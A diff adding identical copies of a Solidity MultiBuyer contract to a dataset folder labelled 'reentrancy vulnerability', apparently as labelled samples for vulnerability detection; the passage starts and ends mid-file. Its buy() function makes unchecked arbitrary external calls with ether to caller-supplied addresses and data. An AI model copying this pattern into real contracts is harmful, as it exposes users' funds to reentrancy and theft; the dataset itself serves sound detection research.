IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1634.sol b/smart_contract_dataset/reentrancy vulnerability/1634.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1634.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/165.sol b/smart_contract_dataset/reentrancy vulnerability/165.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/165.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/168.sol b/smart_contract_dataset/reentrancy vulnerability/168.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/168.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/180.sol b/smart_contract_dataset/reentrancy vulnerability/180.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/180.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed 